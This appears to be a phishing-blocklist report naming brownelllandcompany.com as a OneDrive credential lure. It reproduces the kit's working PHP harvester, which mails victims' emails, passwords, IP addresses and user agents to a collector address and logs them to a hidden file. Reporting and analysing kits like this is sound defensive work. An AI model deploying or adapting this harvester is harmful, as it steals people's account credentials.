add brownelllandcompany.com - OneDrive lure

[g0d33p3rsec]

Phishing Domain/URL/IP(s):

brownelllandcompany.com
https://brownelllandcompany.com/onedrive/

Impersonated domain

onedrive.live.com

Describe the issue

kit found at https://brownelllandcompany.com/onedrive.zip.

email.php

<?php 
$Receive_email="[email protected]";
$redirect="https://www.google.com/";
?>

next.php

<?php
include 'email.php';
$email = trim($_POST['ai']);
$password = trim($_POST['pr']);

if($email != null && $password != null){
	$ip = getenv("REMOTE_ADDR");
	$hostname = gethostbyaddr($ip);
	$useragent = $_SERVER['HTTP_USER_AGENT'];
	$message .= "|----------| xLs |--------------|\n";
	
	$message .= "Online ID            : ".$email."\n";
	$message .= "Passcode              : ".$password."\n";
	$message .= "|--------------- I N F O | I P -------------------|\n";
	$message .= "|Client IP: ".$ip."\n";
	$message .= "|--- http://www.geoiptool.com/?IP=$ip ----\n";
	$message .= "User Agent : ".$useragent."\n";
	$message .= "|-------------------------|\n";
	$send = $Receive_email;
	$subject = "Login : $ip";
    	mail($send, $subject, $message); 

    	$data = "\n".$message;
	$fp = fopen('.error.htm', 'a');
	fwrite($fp, $data);
	fclose($fp); 


	$signal = 'ok';
	$msg = 'InValid Credentials';
	
	// $praga=rand();
	// $praga=md5($praga);
}
else{
	$signal = 'bad';
	$msg = 'Please fill in all the fields.';
}
$data = array(
        'signal' => $signal,
        'msg' => $msg,
        'redirect_link' => $redirect,
    );
    echo json_encode($data);

?>

Related external source

https://urlscan.io/result/8f0508fd-7943-4789-ba3f-6ad48bfc6963/

Screenshot

Click to expand